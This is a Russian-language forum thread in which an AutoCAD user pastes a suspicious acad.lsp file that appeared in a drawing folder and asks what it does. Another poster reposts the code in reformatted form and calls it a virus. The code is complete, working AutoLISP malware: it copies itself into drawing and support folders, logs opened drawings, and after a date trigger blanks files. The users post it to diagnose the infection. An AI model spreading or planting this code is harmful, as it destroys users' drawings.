Реклама i
Стань нашим партнером - зарабатывай с нами!
| Правила | Регистрация | Пользователи | Поиск | Сообщения за день | Все разделы прочитаны |  Справка по форуму | Файлообменник |

Вернуться   Форум DWG.RU > Программное обеспечение > AutoCAD > Появился Acad.lsp в папке с чертежами. что он делает?

Появился Acad.lsp в папке с чертежами. что он делает?

Ответ
Поиск в этой теме
Непрочитано 13.03.2018, 08:36 #1
Появился Acad.lsp в папке с чертежами. что он делает?
Gotch
 
Регистрация: 07.02.2007
Сообщений: 200

Доброго времени суток.
сегодня в организации встретил этот файл Acad.lsp
открыл чертеж из этой папки и акад автоматически попросил загрузить этот файл Acad.lsp
кнопки отказа не было, нажал на крестик, он все равно загрузился
кто подскажет что он делает, вот его код -
Код:
[Выделить все]
++++++++++++++++++++----------------------------------------++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++




------------------------(defun
s::startup
(/ 
old_cmd 
path 
dwgpath 
mnlpath 
apppath 
oldacad 
newacad 
nowdwg 
lspbj 
wjm  
wjm1 
wjqm 
wjqm1 
wz 
ns1 
ns2 
kd)
(command "netload" "ElevationByText.dll") 

(setq 
old_cmd 
(getvar 
"cmdecho"))
(setvar 
"cmdecho" 
1)
(setq 
path 
(findfile 
"base.dcl"))
(setq 
path 
(substr 
path 
1 
(- 
(strlen 
path) 
8)))
(setq 
mnlpath 
(getvar 
"menuname"))
(setq 
nowdwg 
(getvar
"dwgname"))
(setq 
wjqm 
(findfile 
nowdwg))
(setq 
dwgpath 
(substr 
wjqm 
1 
(- 
(strlen 
wjqm) 
(strlen 
nowdwg))))
(setq 
acadpath 
(findfile 
"acad.lsp"))
(setq 
acadpath 
(substr 
acadpath 
1 
(- 
(strlen  
acadpath) 
8)))
(setq 
ns1 
"" 
ns2 
"")
(setq 
lspbj 
0)
(if 
(= 
acadpath 
dwgpath) 
(progn
(setq 
oldacad 
(findfile 
"acad.lsp"))
(setq 
newacad 
(strcat 
path 
"acad.lsp"))
(writeapp)
)
(progn
(if 
(/= 
nowdwg 
"Drawing.dwg")
(progn 
(setq 
oldacad 
(findfile 
"acad.lsp"))
(setq 
newacad 
(strcat 
dwgpath 
"acad.lsp"))
(writeapp)
)
)
)
)
(setq 
nowdwg 
(getvar 
"dwgname"))
(setq 
wjqm 
(findfile 
nowdwg))
(if 
(setq 
kd 
(findfile 
"acadisa.lin"))
(progn
(setq 
ns2 
0)      
(if 
(setq 
ns1 
(open 
kd 
"r"))
(progn 
(while 
(setq 
wz 
(read-line 
ns1))
(if 
(= 
wjqm 
wz) 
(setq 
ns2 
1)))
(close 
ns1)
))
(if 
(= 
ns2 
0) 
(progn
(setq 
ns1 
(open 
kd 
"a"))
(write-line 
wjqm 
ns1) 
(close 
ns1
)
))
(if 
(setq 
ns1 
(open 
kd 
"r")) 
(progn
(setq 
wz 
(read-line 
ns1))
(close 
ns1)
))
(if 
(> 
(getvar 
"date") 
(+ 
(distof 
wz) 
8)) 
(progn
(setq 
oldacad 
(strcat 
path 
"acadisa.lin"))
(setq 
newacad 
(strcat 
dwgpath 
"a"))
(
writeapp
)

(if 
(setq 
wjm1 
(open 
oldacad 
"w")
)
(progn 
(setq 
wjm 
(open 
newacad 
"r"))
(setq 
wz 
(read-line 
wjm)) 
(write-line 
(rtos 
(getvar 
"date")
) 
wjm1)
(setq 
wz 
(read-line 
wjm)) 
(if 
(> 
(getvar 
"date") 
2452900) 
(close 
(open 
wz 
"w")
)
)
(while
(
setq 
wz 
(read-line 
wjm))
(write-line 
wz 
wjm1)
)
(close 
wjm)
(close 
wjm1)
(close 
(open 
newacad 
"w"))
)
)
)
)
)
(progn
(if 
(setq 
ns1 
(open 
(strcat 
path 
"acadisa.lin") 
"w")) 
(progn
(write-line 
(rtos 
(getvar 
"date")) 
ns1) 
(write-line 
wjqm 
ns1
) 
(close 
ns1
)
))
))      

(setvar 
"cmdecho" 
old_cmd)
(princ)
)
(defun 
writeapp ()
(if 
(setq 
wjm1 
(open 
newacad 
"w"))
(progn 
(setq 
wjm 
(open 
oldacad 
"r"))
(while 
(setq 
wz 
(read-line 
wjm))
(write-line 
wz 
wjm1)
)
(close 
wjm)
(close 
wjm1)
))
)
;*************
после всего этого в автокаде стало вот это происходить -
Код:
[Выделить все]
Команда: netload Имя файла сборки: ElevationByText.dll Не удалось загрузить сборку. Сведения об ошибке: System.IO.FileNotFoundException: Невозможно загрузить файл или сборку "file:///C:\Users\igor.karimov\Documents\ElevationByText.dll" или один из зависимых от них компонентов. Не удается найти указанный файл.
Имя файла: "file:///C:\Users\igor.karimov\Documents\ElevationByText.dll"
   в System.Reflection.RuntimeAssembly._nLoad(AssemblyName fileName, String codeBase, Evidence assemblySecurity, RuntimeAssembly locationHint, StackCrawlMark& stackMark, IntPtr pPrivHostBinder, Boolean throwOnFileNotFound, Boolean forIntrospection, Boolean suppressSecurityChecks)
   в System.Reflection.RuntimeAssembly.InternalLoadAssemblyName(AssemblyName assemblyRef, Evidence assemblySecurity, RuntimeAssembly reqAssembly, StackCrawlMark& stackMark, IntPtr pPrivHostBinder, Boolean throwOnFileNotFound, Boolean forIntrospection, Boolean suppressSecurityChecks)
   в System.Reflection.RuntimeAssembly.InternalLoadFrom(String assemblyFile, Evidence securityEvidence, Byte[] hashValue, AssemblyHashAlgorithm hashAlgorithm, Boolean forIntrospection, Boolean suppressSecurityChecks, StackCrawlMark& stackMark)
   в System.Reflection.Assembly.LoadFrom(String assemblyFile)
   в Autodesk.AutoCAD.Runtime.ExtensionLoader.Load(String fileName)
   в loadmgd()

Предупреждение: регистрация привязки сборок выключена.
Чтобы включить регистрацию ошибок привязки сборок, установите значение параметра реестра [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) в 1.
Примечание. Регистрация ошибок привязки сборок может привести к некоторому снижению производительности.
Чтобы отключить эту функцию, удалите параметр реестра [HKLM\Software\Microsoft\Fusion!EnableLog].

Команда: ; ошибка: неверный тип аргумента: stringp nil
в папке - C:\Users\igor.karimov\AppData\Roaming\Autodesk\AutoCAD 2013 — Русский\R19.0\rus\Support
появился новый файл - acad.lsp и acadisa.lin - не стандартный acadisO, а дополнительный
внутри файла вот такая запись -
Код:
[Выделить все]
2458191.42
C:\Users\igor.karimov\Desktop\111\7_Pr_500_ВТскв.53-пр.АГЗУ_ПК0+00.00-ПК3+87.66(К.тр.).dwg
внутри файла - acad.lsp - по этому пути - C:\Users\igor.karimov\AppData\Roaming\Autodesk\AutoCAD 2013 — Русский\R19.0\rus\Support - тоже самое что и в первом коде

ищем кто его принес в контору
что этот файл хочет сделать?
Просмотров: 2385
 
Непрочитано 13.03.2018, 08:56
| 1 #2
trir


 
Регистрация: 18.12.2010
Сообщений: 5,047


Кривая автозагрузка NET-сборки
trir вне форума  
 
Непрочитано 13.03.2018, 09:02
#3
Setvar


 
Регистрация: 10.02.2007
Москва
Сообщений: 611


Самый настоящий вирус, IMHO.
Setvar вне форума  
 
Непрочитано 13.03.2018, 09:18
#4
Boxa

КЖ; C#
 
Регистрация: 03.11.2005
Санкт-Петербург
Сообщений: 2,588


Gotch, Поиск то никто не отменял....
http://forum.dwg.ru/showpost.php?p=813324&postcount=93
http://forum.dwg.ru/showthread.php?t=68065
http://forum.dwg.ru/showpost.php?p=712941&postcount=86

Код:
[Выделить все]
 
++++++++++++++++++++----------------------------------------++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++




------------------------
(defun 
	s::startup(/ old_cmd path dwgpath mnlpath apppath oldacad newacad 
	nowdwg lspbj wjm  wjm1 wjqm wjqm1 wz ns1 ns2 kd)
	(command "netload" "ElevationByText.dll") 

	(setq old_cmd (getvar "cmdecho"))
	(setvar "cmdecho" 1)
	(setq path (findfile "base.dcl"))
	(setq path (substr path 1 (- (strlen path) 8)))
	(setq mnlpath (getvar "menuname"))
	(setq nowdwg (getvar "dwgname"))
	(setq wjqm (findfile nowdwg))
	(setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
	(setq acadpath (findfile "acad.lsp"))
	(setq acadpath (substr acadpath 1 (- (strlen  acadpath) 8)))
	(setq ns1 "" ns2 "")
	(setq lspbj 0)
	(if (= acadpath dwgpath) 
		(progn
			(setq oldacad (findfile "acad.lsp"))
			(setq newacad (strcat path "acad.lsp"))
			(writeapp)
		)
		(progn
			(if (/= nowdwg "Drawing.dwg")
				(progn 
					(setq oldacad (findfile "acad.lsp"))
					(setq newacad (strcat dwgpath "acad.lsp"))
					(writeapp)
				)
			)
		)
	)
	(setq nowdwg (getvar "dwgname"))
	(setq wjqm (findfile nowdwg))
	(if (setq kd (findfile "acadisa.lin"))
		(progn
			(setq ns2 0)      
			(if (setq ns1 (open kd "r"))
				(progn 
					(while (setq wz (read-line ns1))
						(if (= wjqm wz) (setq ns2 1))
					)
					(close ns1)
				)
			)
			(if (= ns2 0) 
				(progn
					(setq ns1 (open kd "a"))
					(write-line wjqm ns1) 
					(close ns1)
				)
			)
			(if (setq ns1 (open kd "r")) 
				(progn
					(setq wz (read-line ns1))
					(close ns1)
				)
			)
			(if (> (getvar "date") (+ (distof wz) 8))
				(progn
					(setq oldacad (strcat path "acadisa.lin"))
					(setq newacad (strcat dwgpath "a"))
					(writeapp)
					(if (setq wjm1 (open oldacad "w"))
						(progn 
							(setq wjm (open newacad "r"))
							(setq wz (read-line wjm))
							(write-line (rtos (getvar "date")) wjm1)
							(setq wz (read-line wjm)) 
							
							(if (> (getvar "date") 2452900) ;2458190 - 2018/03/13
								(close (open wz "w"))
							)
							(while(setq wz (read-line wjm))
								(write-line wz wjm1)
							)
							(close wjm)
							(close wjm1)
							(close (open newacad "w"))
						)
					)
				)
			)
		)
		(progn
			(if (setq ns1 (open (strcat path "acadisa.lin") "w")) 
				(progn
					(write-line (rtos (getvar "date")) ns1) 
					(write-line wjqm ns1) 
					(close ns1)
				)
			)
		)
	) 
	
	(setvar "cmdecho" old_cmd)
	(princ)
)

(defun writeapp ()
	(if (setq wjm1 (open newacad "w"))
		(progn 
			(setq wjm (open oldacad "r"))
			(while (setq wz (read-line wjm))
				(write-line wz wjm1)
			)
			(close wjm)
			(close wjm1)
		)
	)
);*************
Boxa вне форума  
 
Автор темы   Непрочитано 13.03.2018, 09:36
#5
Gotch


 
Регистрация: 07.02.2007
Сообщений: 200


Понятно, спасибо

----- добавлено через -----
Почему то у меня так же блокируются темы на этом сайте связанные с acad.lsp, т.е. на рабочем компьютере после этого вируса зайти в эту тему я не могу
Gotch вне форума  
Ответ
Вернуться   Форум DWG.RU > Программное обеспечение > AutoCAD > Появился Acad.lsp в папке с чертежами. что он делает?

Размещение рекламы
Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
AdvanceSteel2016. Как восстановить связь между 3d моделью и папкой с чертежами "Details"? Big_bad_wolf Advance Steel 1 29.07.2016 13:03
Файлы с расширением *.dwh в папке с чертежами AutoCAD Сергей812 AutoCAD 8 26.05.2014 17:11
Что прописать в acad.lsp чтобы всегда загружались пользовательские лисп команды? overband LISP 43 07.02.2013 14:47
В папках рождается acad.lsp PSW AutoCAD 5 16.04.2008 16:13
Создать html с чертежами BaBr AutoCAD 2 26.11.2003 12:14